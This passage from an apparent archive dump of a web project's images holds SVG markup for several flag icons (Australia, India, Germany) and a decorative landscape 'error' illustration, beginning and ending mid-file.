1-2.7-2.4-1.7h2.9zm16.4 0l1 2.8h2.8l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm16.5 0l.9 2.8h2.9l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8h2.9L92 35.5l1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm-74.1 7l.9 2.8h2.9l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm16.4 0l1 2.8h2.8l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm16.5 0l.9 2.8h2.9l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8h2.9l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7H65zm16.4 0l1 2.8H86l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm-74 7l.8 2.8h3l-2.4 1.7.9 2.7-2.4-1.7L6 52.2l.9-2.7-2.4-1.7h3zm16.4 0l.9 2.8h2.9l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8H45l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm16.4 0l1 2.8h2.8l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm16.5 0l.9 2.8h2.9l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8h2.9L92 49.5l1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm-74.1 7l.9 2.8h2.9l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm16.4 0l1 2.8h2.8l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm16.5 0l.9 2.8h2.9l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8h2.9l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7H65zm16.4 0l1 2.8H86l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm-74 7l.8 2.8h3l-2.4 1.7.9 2.7-2.4-1.7L6 66.2l.9-2.7-2.4-1.7h3zm16.4 0l.9 2.8h2.9l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8H45l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm16.4 0l1 2.8h2.8l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm16.5 0l.9 2.8h2.9l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8h2.9L92 63.5l1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9z" transform="scale(3.9385)"/>
  </g>
</svg>
images/flags/1x1/au.svg000066600000002445151150443020010650 0ustar00<svg xmlns="http://www.w3.org/2000/svg" id="flag-icon-css-au" viewBox="0 0 512 512">
  <g stroke-width="1pt">
    <path fill="#006" d="M0 0h512v512H0z"/>
    <path fill="#fff" d="M0 0v28l307 222h38.7v-28L38.7 0H0zm345.7 0v28l-307 222H0v-28L307 0h38.7z"/>
    <path fill="#fff" d="M144 0v250h57.6V0H144zM0 83.3v83.4h345.7V83.3H0z"/>
    <path fill="#c00" d="M0 100v50h345.7v-50H0zM155.6 0v250H190V0h-34.5zM0 250l115.2-83.3H141L25.8 250H0zM0 0l115.2 83.3H89.5L0 18.6V0zm204.7 83.3L319.9 0h25.8L230.5 83.3h-25.8zm141 166.7l-115.2-83.3h25.7l89.5 64.7V250z"/>
    <path fill="#fff" fill-rule="evenodd" d="M54.9 368.6L95.5 384l13.4-41.4 13.3 41.4 40.7-15.4-24.1 36.3 37.4 22.2-43.3 3.7 6 43.1-30-31.5-30 31.5 6-43-43.4-3.8L79 404.9m325 71.5l-19 1.6 2.7 18.8-13-13.7-13 13.7L364 478l-18.8-1.6 16.3-9.6L351 451l17.7 6.7 5.8-18 5.7 18L398 451l-10.4 15.8m16.2-270.4L385 198l2.6 18.8-13-13.7-13 13.7L364 198l-18.8-1.6 16.3-9.6L351 171l17.7 6.7 5.8-18 5.7 18L398 171l-10.4 15.8m-88.8 123.4l-18.8 1.6 2.6 18.7-13-13.7-13 13.7 2.5-18.7-18.8-1.6 16.3-9.7-10.5-15.7 17.7 6.7 5.8-18 5.7 18 17.7-6.7-10.4 15.7M497 282.2l-18.8 1.6 2.6 18.7-13-13.7-13 13.7 2.5-18.7-18.8-1.6 16.3-9.7-10.5-15.7 17.7 6.7 5.8-18 5.8 18 17.6-6.7-10.4 15.7M416.6 355l-10.3 6.4 2.9-11.8-9.3-7.8 12-.9 4.7-11.2L421 341l12.1 1-9.2 7.7 2.9 11.8"/>
  </g>
</svg>
images/flags/1x1/in.svg000066600000002100151150443020010635 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="flag-icon-css-in" viewBox="0 0 512 512">
  <path fill="#f93" d="M0 0h512v170.7H0z"/>
  <path fill="#fff" d="M0 170.7h512v170.6H0z"/>
  <path fill="#128807" d="M0 341.3h512V512H0z"/>
  <g transform="translate(256 256) scale(3.41333)">
    <circle r="20" fill="#008"/>
    <circle r="17.5" fill="#fff"/>
    <circle r="3.5" fill="#008"/>
    <g id="d">
      <g id="c">
        <g id="b">
          <g id="a" fill="#008">
            <circle r=".9" transform="rotate(7.5 -8.8 133.5)"/>
            <path d="M0 17.5L.6 7 0 2l-.6 5L0 17.5z"/>
          </g>
          <use width="100%" height="100%" transform="rotate(15)" xlink:href="#a"/>
        </g>
        <use width="100%" height="100%" transform="rotate(30)" xlink:href="#b"/>
      </g>
      <use width="100%" height="100%" transform="rotate(60)" xlink:href="#c"/>
    </g>
    <use width="100%" height="100%" transform="rotate(120)" xlink:href="#d"/>
    <use width="100%" height="100%" transform="rotate(-120)" xlink:href="#d"/>
  </g>
</svg>
images/flags/1x1/de.svg000066600000000335151150443020010627 0ustar00<svg xmlns="http://www.w3.org/2000/svg" id="flag-icon-css-de" viewBox="0 0 512 512">
  <path fill="#ffce00" d="M0 341.3h512V512H0z"/>
  <path d="M0 0h512v170.7H0z"/>
  <path fill="#d00" d="M0 170.7h512v170.6H0z"/>
</svg>
images/error.svg000066600000063151151150443020007670 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="693.172" height="438.156" viewBox="0 0 693.172 438.156">
  <g id="error" transform="translate(-0.003 -0.004)">
    <g id="Group_96" data-name="Group 96">
      <path id="Path_192" data-name="Path 192" d="M676.68,151.77c-7.88-28.38-60.41,2.49-60.41,2.49l13.75-24.94a54.651,54.651,0,0,0,4.35-7.9c6.9-15.44,6.81-31.95-.04-46.34-1.88-8.73-7.59-21.21-23.32-34.89C581.24,14.32,481.43-3.38,452.54.55s26.27,16.09,26.27,16.09l-4.37-.04C390.29,7.68,305.62,6.53,221.61,8.27c-21.07.44-42.2,1.13-62.82,4.69-5.94,1.02-12.32,2.59-15.85,7.38-15.68,21.27,48.47,23.34,58.53,22.93-44.06,5.73-93.02,7.48-134,24.51-5.72,2.38-11.38,5.19-15.69,9.59S44.66,88,45.64,94.27c2.82,18.2,27.89,23.59,42.11,27.63,0,0-81.72,54.34-72.09,81.92a96.8,96.8,0,0,0,20.91,35.22A135.826,135.826,0,0,0,20.52,263.9c-2.61,5.34-6.03,12.66-3.11,18.8C32.29,314.03,258.02,421.56,438.9,390.87c48.05-8.15,95.91-21.63,138.03-45.48,41.92-23.73,84.64-62.92,95.2-112.35.35-1.63.6-3.21.78-4.74,6.55-22.78,10.38-52.78,3.79-76.52Z" fill="#a3c0e6"/>
      <path id="Path_193" data-name="Path 193" d="M676.68,151.77c-7.88-28.38-60.41,2.49-60.41,2.49l13.75-24.94a54.651,54.651,0,0,0,4.35-7.9c6.9-15.44,6.81-31.95-.04-46.34-1.88-8.73-7.59-21.21-23.32-34.89C581.24,14.32,481.43-3.38,452.54.55s26.27,16.09,26.27,16.09l-4.37-.04C390.29,7.68,305.62,6.53,221.61,8.27c-21.07.44-42.2,1.13-62.82,4.69-5.94,1.02-12.32,2.59-15.85,7.38-15.68,21.27,48.47,23.34,58.53,22.93-44.06,5.73-93.02,7.48-134,24.51-5.72,2.38-11.38,5.19-15.69,9.59s-5.99,10.56-6.14,16.9c-.4,16.78,26.56,23.01,42.11,27.63,0,0-81.72,54.34-72.09,81.92a96.8,96.8,0,0,0,20.91,35.22A135.826,135.826,0,0,0,20.52,263.9c-2.61,5.34-6.03,12.66-3.11,18.8C32.29,314.03,258.02,421.56,438.9,390.87c48.05-8.15,95.91-21.63,138.03-45.48,41.92-23.73,84.64-62.92,95.2-112.35.35-1.63.6-3.21.78-4.74,6.55-22.78,10.38-52.78,3.79-76.52Z" fill="#fff" opacity="0.595"/>
    </g>
    <g id="Group_97" data-name="Group 97">
      <path id="Path_194" data-name="Path 194" d="M530.45,120.76s1.02-3.06,6.12-4.08,11.22,4.59,11.22,4.59,4.08-8.16,8.16-8.67,8.67,3.06,8.67,3.06" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <path id="Path_195" data-name="Path 195" d="M517.18,140.15s1.02-3.06,6.12-4.08,11.22,4.59,11.22,4.59,4.08-8.16,8.16-8.67,8.67,3.06,8.67,3.06" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <path id="Path_196" data-name="Path 196" d="M565.65,140.27s.78-2.33,4.66-3.11,8.54,3.5,8.54,3.5,3.11-6.21,6.21-6.6,6.6,2.33,6.6,2.33" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <path id="Path_197" data-name="Path 197" d="M622.35,160.81s.51-1.53,3.06-2.04,5.6,2.29,5.6,2.29,2.04-4.08,4.07-4.33,4.33,1.53,4.33,1.53" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
    </g>
    <path id="Path_198" data-name="Path 198" d="M350.63,115.35c-5.27-23.69-32.58-41.34-56.37-37.96a29.791,29.791,0,0,0-16.16,7.16c-6.08,5.59-4.64,11.94-7.64,18.87a6.5,6.5,0,0,1-4.53,3.99c-5.92,1.01-10.69-4.89-16.68-4.93-4.48-.03-10.21,2.44-12.71,6.31-2.33,3.6-.71,9.89-4.89,12.28-4.68,2.68-10.38-2.41-15.45-.57-6.29,2.29-3.43,6.86-5.72,9.73s-6.86,1.72-13.16,1.14-11.44,6.86-11.44,6.86H384.39s1.72-2.86-5.72-14.3-17.73-3.43-22.31-3.43-5.72-5.14-5.72-5.15Z" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
    <path id="Path_199" data-name="Path 199" d="M405.91,77.31c-2.12-9.5-13.07-16.59-22.62-15.23a12,12,0,0,0-6.48,2.87c-2.44,2.24-1.86,4.79-3.07,7.57a2.606,2.606,0,0,1-1.82,1.6c-2.37.41-4.29-1.96-6.69-1.98a6.492,6.492,0,0,0-5.1,2.53c-.93,1.45-.28,3.97-1.96,4.93-1.88,1.07-4.16-.97-6.2-.23-2.52.92-1.38,2.75-2.3,3.9s-2.75.69-5.28.46-4.59,2.75-4.59,2.75h79.64s.69-1.15-2.3-5.74-7.11-1.38-8.95-1.38-2.29-2.06-2.3-2.07Z" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
    <path id="Path_200" data-name="Path 200" d="M575.82,193.77c-2.12-9.5-13.07-16.59-22.62-15.23a12,12,0,0,0-6.48,2.87c-2.44,2.24-1.86,4.79-3.07,7.57a2.606,2.606,0,0,1-1.82,1.6c-2.37.41-4.29-1.96-6.69-1.98a6.492,6.492,0,0,0-5.1,2.53c-.93,1.45-.28,3.97-1.96,4.93-1.88,1.07-4.16-.97-6.2-.23-2.52.92-1.38,2.75-2.3,3.9s-2.75.69-5.28.46-4.59,2.75-4.59,2.75h79.64s.69-1.15-2.3-5.74-7.11-1.38-8.95-1.38-2.29-2.06-2.3-2.07Z" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
    <path id="Path_201" data-name="Path 201" d="M448.07,183.37c-3.24-14.56-20.02-25.4-34.64-23.32a18.341,18.341,0,0,0-9.93,4.4c-3.73,3.44-2.85,7.34-4.7,11.59a3.968,3.968,0,0,1-2.79,2.45c-3.64.62-6.57-3-10.25-3.03-2.75-.02-6.27,1.5-7.81,3.88-1.43,2.21-.43,6.08-3.01,7.55-2.88,1.64-6.38-1.48-9.49-.35-3.87,1.41-2.11,4.22-3.52,5.98s-4.22,1.05-8.09.7-7.03,4.22-7.03,4.22H468.79s1.05-1.76-3.52-8.79-10.9-2.11-13.71-2.11-3.51-3.16-3.52-3.16Z" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
    <path id="Path_202" data-name="Path 202" d="M476.76,351.06s-7.29-7.55-5.24-7.33,5.88,5.88,5.88,5.88.05-12.45,1.87-9.72-.42,9.78-.42,9.78,5.2-8.11,5.19-6.79c-.04,4.1-4.01,7.31-4.01,7.31s8.33-6.17,6.96-3.67-6.69,4.87-6.69,4.87,9.6-1.94,6.19-.57-6.66,2.3-6.66,2.3h-2.65s-9.06-4.55-5.65-3.87a16.853,16.853,0,0,1,5.23,1.82Z" fill="#263238"/>
    <path id="Path_203" data-name="Path 203" d="M573.05,327.43s-5.67-5.88-4.08-5.7,4.57,4.57,4.57,4.57.04-9.69,1.46-7.57-.32,7.61-.32,7.61,4.05-6.31,4.04-5.28c-.03,3.19-3.12,5.69-3.12,5.69s6.48-4.8,5.42-2.85-5.21,3.79-5.21,3.79,7.47-1.51,4.82-.45-5.18,1.79-5.18,1.79h-2.06s-7.05-3.54-4.4-3.01a13.128,13.128,0,0,1,4.07,1.42Z" fill="#263238"/>
    <path id="Path_204" data-name="Path 204" d="M662.44,306.34s-5.67-5.88-4.08-5.7,4.57,4.57,4.57,4.57.04-9.69,1.46-7.57-.32,7.61-.32,7.61,4.05-6.31,4.04-5.28c-.03,3.19-3.12,5.69-3.12,5.69s6.48-4.8,5.42-2.85-5.21,3.79-5.21,3.79,7.47-1.51,4.82-.45-5.18,1.79-5.18,1.79h-2.06s-7.05-3.54-4.4-3.01a13.128,13.128,0,0,1,4.07,1.42Z" fill="#263238"/>
    <path id="Path_205" data-name="Path 205" d="M548.51,354.51s-6.78-7.02-4.88-6.81,5.46,5.46,5.46,5.46.05-11.58,1.74-9.04-.39,9.09-.39,9.09,4.83-7.54,4.82-6.31c-.03,3.81-3.72,6.79-3.72,6.79s7.74-5.73,6.47-3.41-6.22,4.52-6.22,4.52,8.92-1.8,5.75-.53-6.19,2.14-6.19,2.14h-2.47s-8.43-4.23-5.26-3.59a15.606,15.606,0,0,1,4.86,1.69Z" fill="#92e3a9"/>
    <g id="Group_98" data-name="Group 98">
      <path id="Path_206" data-name="Path 206" d="M414.38,324.04l-59.96-67.23-13.14,10.51-65.74-98.99-57.23,12.76L201.2,149.12l-16.64-.88L153.04,86.08,105.9,129.09l-22.74-8.11L.36,205.41" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <line id="Line_1" data-name="Line 1" x1="6.29" y1="7.05" transform="translate(419.34 329.6)" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <line id="Line_2" data-name="Line 2" x1="4.96" y2="1.34" transform="translate(182.62 189.31)" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <line id="Line_3" data-name="Line 3" x1="25.03" y2="6.78" transform="translate(193.16 181.02)" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <path id="Path_207" data-name="Path 207" d="M123.75,152.24l14.02-20.69-.95-7.1L152.91,91.8" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <line id="Line_4" data-name="Line 4" y1="5.19" x2="3.51" transform="translate(117.9 155.7)" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <line id="Line_5" data-name="Line 5" x1="22.73" y2="30.82" transform="translate(73.41 173.13)" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <path id="Path_208" data-name="Path 208" d="M84.3,124.45l5.68,12.78,12.77,10.41-1.42,18.45-3.09,4.2" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <path id="Path_209" data-name="Path 209" d="M201.2,149.12l-11.85,11.29-4.26-7.1" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <path id="Path_210" data-name="Path 210" d="M679.5,275.6l-92.02-64.9-27.93,39.43-34.51-11.5-53.4,74.76L437.13,306l-17.25,14.79" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <path id="Path_211" data-name="Path 211" d="M587.48,210.7l-10.94,48.09-12.9-5.65" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <path id="Path_212" data-name="Path 212" d="M525.34,241.45l-27.02,78.62-18.54-3.22" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
    </g>
    <g id="Group_99" data-name="Group 99">
      <path id="Path_213" data-name="Path 213" d="M524.09,235.83a43.21,43.21,0,0,0-43.36,43.06,42.7,42.7,0,0,0,11.04,28.7,33.213,33.213,0,0,1,15.19,1.38,41.757,41.757,0,0,1,14.75,8.61h3.89a41.649,41.649,0,0,1,14.75-8.61,33.136,33.136,0,0,1,15.96-1.26,42.729,42.729,0,0,0,11.15-28.82,43.21,43.21,0,0,0-43.36-43.06Z" fill="#a2c6f5"/>
      <path id="Path_214" data-name="Path 214" d="M544.27,296.17c-1.33.65-2.66,1.31-3.96,2.01a37.406,37.406,0,0,0-3.79,2.34c-.45.31-.9.64-1.34.96l7.1-13.23-9.75,15.26c-.99.79-1.96,1.61-2.91,2.43q-2.355,2.055-4.6,4.2l-.49-14.35,10.2-15.52-10.27,13.35-.44-12.85-.73,14.38h0l-.73,14.41q-1.95-1.845-3.99-3.62-1.605-1.395-3.27-2.73l-9.22-15.75,6.77,13.89c-.39-.28-.78-.57-1.17-.84a39.3,39.3,0,0,0-3.79-2.34c-1.3-.7-2.63-1.36-3.96-2.01a82.225,82.225,0,0,0-8.2-3.47,82.053,82.053,0,0,1,7.91,3.94c1.28.72,2.54,1.46,3.78,2.23a36.416,36.416,0,0,1,3.51,2.49,76.9,76.9,0,0,1,6.36,5.72c1.77,1.75,3.48,3.57,5.12,5.41l-.93,18.29h4.27l-.6-17.54c1.83-2.1,3.78-4.16,5.78-6.15a76.728,76.728,0,0,1,6.36-5.72,37.693,37.693,0,0,1,3.51-2.49q1.86-1.155,3.78-2.23a79.807,79.807,0,0,1,7.91-3.94,82.222,82.222,0,0,0-8.2,3.47Z" fill="#263238"/>
    </g>
    <g id="Group_100" data-name="Group 100">
      <path id="Path_215" data-name="Path 215" d="M191.2,294.92c0,12.37-6.94,13.31-15.5,13.31s-15.5-.93-15.5-13.31,6.94-38.24,15.5-38.24S191.2,282.54,191.2,294.92Z" fill="#b1cbeb"/>
      <path id="Path_216" data-name="Path 216" d="M180.94,300.54l-2.56.17,6.68-4.5-4.77,2.41.65-1.88-2.18,2.65-2.56,1.3-.2-8.89,1.36-3.29-1.39,1.85-.12-5.15,4.25-5.66-4.28,4.38-.26-11.34-.23,7.25-2.72-3.03,2.68,4.43-.36,11.49-2.37-1.55-2.17-3.83.87,2.99-4.24-2.78,7.86,6.78-1.19,37.73h3.23l-.68-29.91.75-.51Z" fill="#263238"/>
    </g>
    <g id="Group_101" data-name="Group 101">
      <path id="Path_217" data-name="Path 217" d="M608.01,252.31c0,24.18-13.56,26-30.28,26s-30.28-1.83-30.28-26,13.56-74.71,30.28-74.71S608.01,228.14,608.01,252.31Z" fill="#a7c3e6"/>
      <path id="Path_218" data-name="Path 218" d="M608.01,252.31c0,24.18-13.56,26-30.28,26s-30.28-1.83-30.28-26,13.56-74.71,30.28-74.71S608.01,228.14,608.01,252.31Z" fill="#fff" opacity="0.31"/>
      <path id="Path_219" data-name="Path 219" d="M587.97,263.28l-5.01.35,13.04-8.8-9.31,4.71,1.28-3.68-4.26,5.19-5,2.52-.4-17.36,2.65-6.42-2.71,3.61-.23-10.07,8.3-11.06-8.36,8.56-.5-22.16-.45,14.18-5.32-5.94,5.23,8.66-.71,22.47-4.63-3.03-4.22-7.49,1.69,5.83-8.29-5.42,15.36,13.24-2.33,73.73h6.32l-1.33-58.45,1.46-.99Z" fill="#263238"/>
    </g>
    <g id="Group_102" data-name="Group 102">
      <path id="Path_221" data-name="Path 221" d="M672.83,261.83c0,12.37-6.94,13.31-15.5,13.31s-15.5-.93-15.5-13.31,6.94-38.24,15.5-38.24S672.83,249.45,672.83,261.83Z" fill="#fff" opacity="0.5"/>
      <path id="Path_220" data-name="Path 220" d="M672.83,261.83c0,12.37-6.94,13.31-15.5,13.31s-15.5-.93-15.5-13.31,6.94-38.24,15.5-38.24S672.83,249.45,672.83,261.83Z" fill="#b1cbeb"/>
      <path id="Path_222" data-name="Path 222" d="M662.57,267.44l-2.56.18,6.67-4.5-4.77,2.41.66-1.89-2.18,2.66-2.56,1.29-.2-8.88,1.35-3.29-1.38,1.85-.12-5.15,4.25-5.67-4.28,4.38-.26-11.34-.23,7.26-2.72-3.04,2.68,4.43-.36,11.5-2.38-1.55-2.16-3.83.87,2.98-4.24-2.77,7.85,6.78-1.18,37.73h3.23l-.68-29.92.74-.5Z" fill="#263238"/>
    </g>
    <g id="Group_103" data-name="Group 103">
      <path id="Path_224" data-name="Path 224" d="M41.16,251.37c0,12.37-6.94,13.31-15.5,13.31s-15.5-.93-15.5-13.31,6.94-38.24,15.5-38.24S41.16,238.99,41.16,251.37Z" fill="#fff" opacity="0.5"/>
      <path id="Path_223" data-name="Path 223" d="M41.16,251.37c0,12.37-6.94,13.31-15.5,13.31s-15.5-.93-15.5-13.31,6.94-38.24,15.5-38.24S41.16,238.99,41.16,251.37Z" fill="#629be6"/>
      <path id="Path_225" data-name="Path 225" d="M30.9,256.98l-2.56.18,6.67-4.5-4.77,2.41.66-1.89-2.18,2.66-2.56,1.29-.2-8.89,1.35-3.28-1.38,1.85-.12-5.16,4.25-5.66-4.28,4.38-.26-11.34-.23,7.26-2.72-3.04,2.68,4.43-.36,11.5-2.38-1.55-2.16-3.83.87,2.98-4.24-2.77,7.85,6.77-1.18,37.73h3.23L26.2,258.6l.74-.5Z" fill="#263238"/>
    </g>
    <g id="Group_104" data-name="Group 104">
      <path id="Path_227" data-name="Path 227" d="M117.95,223.31a43.21,43.21,0,0,0-43.36,43.06,42.7,42.7,0,0,0,11.04,28.7,33.213,33.213,0,0,1,15.19,1.38,41.756,41.756,0,0,1,14.75,8.61h3.89a41.649,41.649,0,0,1,14.75-8.61,33.136,33.136,0,0,1,15.96-1.26,42.729,42.729,0,0,0,11.15-28.82,43.21,43.21,0,0,0-43.36-43.06Z" fill="#fff" opacity="0.33"/>
      <path id="Path_226" data-name="Path 226" d="M117.95,223.31a43.21,43.21,0,0,0-43.36,43.06,42.7,42.7,0,0,0,11.04,28.7,33.213,33.213,0,0,1,15.19,1.38,41.756,41.756,0,0,1,14.75,8.61h3.89a41.649,41.649,0,0,1,14.75-8.61,33.136,33.136,0,0,1,15.96-1.26,42.729,42.729,0,0,0,11.15-28.82,43.21,43.21,0,0,0-43.36-43.06Z" fill="#629be6"/>
      <path id="Path_228" data-name="Path 228" d="M138.13,283.64c-1.33.65-2.66,1.31-3.96,2.01a37.411,37.411,0,0,0-3.79,2.34c-.45.31-.9.64-1.34.96l7.1-13.23-9.75,15.26c-.99.79-1.96,1.61-2.91,2.43q-2.355,2.055-4.6,4.21l-.49-14.35,10.2-15.53-10.27,13.35-.44-12.85-.73,14.38h0l-.73,14.41q-1.95-1.845-3.99-3.62-1.6-1.395-3.27-2.73l-9.22-15.75,6.77,13.89c-.39-.28-.78-.57-1.17-.84a39.3,39.3,0,0,0-3.79-2.34c-1.3-.7-2.63-1.36-3.96-2.01a82.224,82.224,0,0,0-8.2-3.47,82.054,82.054,0,0,1,7.91,3.94c1.28.72,2.54,1.46,3.78,2.23a36.414,36.414,0,0,1,3.51,2.49,76.9,76.9,0,0,1,6.36,5.72c1.77,1.75,3.48,3.57,5.12,5.41l-.93,18.29h4.27L119,300.7c1.83-2.1,3.78-4.16,5.78-6.15a76.722,76.722,0,0,1,6.36-5.72,37.7,37.7,0,0,1,3.51-2.49q1.86-1.155,3.78-2.23a79.8,79.8,0,0,1,7.91-3.94,82.224,82.224,0,0,0-8.2,3.47Z" fill="#263238"/>
    </g>
    <g id="Group_105" data-name="Group 105">
      <path id="Path_229" data-name="Path 229" d="M692.6,269.8c-65.38,42.86-194.49,72.03-343.1,72.03S63.87,310.85.56,265.82V438.16H692.6Z" fill="#f5f6fa"/>
      <path id="Path_230" data-name="Path 230" d="M678.4,278.35c-68.82,38.14-190.4,63.48-328.9,63.48-153.16,0-285.63-30.99-348.94-76.01" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
      <path id="Path_231" data-name="Path 231" d="M692.9,269.61q-4.425,2.91-9.23,5.73" fill="none" stroke="#263238" stroke-miterlimit="10" stroke-width="1"/>
    </g>
    <g id="Group_107" data-name="Group 107">
      <g id="Group_106" data-name="Group 106">
        <path id="Path_232" data-name="Path 232" d="M650.86,259.82c0,25.28-14.18,27.19-31.66,27.19s-31.66-1.91-31.66-27.19,14.18-78.13,31.66-78.13S650.86,234.54,650.86,259.82Z" fill="#629be6"/>
        <path id="Path_233" data-name="Path 233" d="M629.9,271.29l-5.23.36,13.64-9.2-9.75,4.93,1.34-3.85-4.45,5.42-5.23,2.64-.41-18.15,2.77-6.72-2.84,3.78-.24-10.53,8.68-11.57-8.74,8.95-.53-23.17-.46,14.83-5.57-6.21,5.48,9.06-.75,23.49-4.84-3.17-4.42-7.83,1.77,6.1-8.66-5.67,16.05,13.85-2.43,77.09h6.61l-1.4-61.12,1.53-1.03Z" fill="#263238"/>
      </g>
      <path id="Path_234" data-name="Path 234" d="M617.06,336.4s-11.69-12.11-8.41-11.74,9.42,9.42,9.42,9.42.08-19.96,3-15.59-.67,15.67-.67,15.67,8.34-13,8.32-10.88c-.06,6.57-6.42,11.71-6.42,11.71s13.35-9.89,11.16-5.88-10.72,7.8-10.72,7.8,15.39-3.1,9.92-.92-10.67,3.69-10.67,3.69h-4.25s-14.53-7.29-9.06-6.2a26.864,26.864,0,0,1,8.38,2.92Z" fill="#263238"/>
    </g>
    <g id="Group_109" data-name="Group 109">
      <path id="Path_235" data-name="Path 235" d="M57.22,321.37s-10.11-10.47-7.27-10.16,8.15,8.15,8.15,8.15.07-17.26,2.6-13.48-.58,13.55-.58,13.55,7.21-11.25,7.19-9.41c-.05,5.68-5.55,10.13-5.55,10.13s11.54-8.55,9.65-5.08-9.27,6.74-9.27,6.74,13.31-2.68,8.58-.79-9.23,3.19-9.23,3.19H57.81s-12.57-6.3-7.84-5.36a23.611,23.611,0,0,1,7.25,2.52Z" fill="#263238"/>
      <g id="Group_108" data-name="Group 108">
        <path id="Path_236" data-name="Path 236" d="M93.75,246.04c0,25.31-14.19,27.22-31.7,27.22s-31.7-1.91-31.7-27.22,14.19-78.21,31.7-78.21,31.7,52.9,31.7,78.21Z" fill="#b1cbeb"/>
        <path id="Path_237" data-name="Path 237" d="M72.77,257.52l-5.24.36,13.66-9.21-9.76,4.93,1.34-3.85-4.46,5.43-5.23,2.64-.41-18.17,2.77-6.72-2.84,3.78-.24-10.54,8.69-11.58-8.75,8.95-.53-23.19-.47,14.84-5.57-6.21,5.48,9.07-.74,23.51-4.85-3.17-4.42-7.84,1.77,6.11-8.68-5.68,16.08,13.86-2.44,77.18h6.62l-1.4-61.19,1.53-1.03Z" fill="#263238"/>
      </g>
    </g>
    <path id="Path_238" data-name="Path 238" d="M167.88,347.68s-10.11-10.47-7.27-10.16,8.15,8.15,8.15,8.15.07-17.26,2.6-13.48-.58,13.55-.58,13.55,7.21-11.25,7.19-9.41c-.05,5.68-5.55,10.13-5.55,10.13s11.54-8.55,9.65-5.08-9.27,6.74-9.27,6.74,13.31-2.68,8.58-.79-9.23,3.19-9.23,3.19h-3.68s-12.57-6.3-7.84-5.36a23.611,23.611,0,0,1,7.25,2.52Z" fill="#263238"/>
    <path id="Path_239" data-name="Path 239" d="M221.53,370.63s-10.11-10.47-7.27-10.16,8.15,8.15,8.15,8.15.07-17.26,2.6-13.48-.58,13.55-.58,13.55,7.21-11.25,7.19-9.41c-.05,5.68-5.55,10.13-5.55,10.13s11.54-8.55,9.65-5.08-9.27,6.74-9.27,6.74,13.31-2.68,8.58-.79-9.23,3.19-9.23,3.19h-3.68s-12.57-6.3-7.84-5.36a23.29,23.29,0,0,1,7.25,2.52Z" fill="#263238"/>
    <path id="Path_240" data-name="Path 240" d="M365.43,355.22s-7.29-7.55-5.24-7.33,5.88,5.88,5.88,5.88.05-12.45,1.87-9.72-.42,9.78-.42,9.78,5.2-8.11,5.19-6.79c-.04,4.1-4.01,7.31-4.01,7.31s8.33-6.17,6.96-3.67-6.69,4.87-6.69,4.87,9.6-1.94,6.19-.57-6.66,2.3-6.66,2.3h-2.65s-9.06-4.55-5.65-3.87a16.853,16.853,0,0,1,5.23,1.82Z" fill="#263238"/>
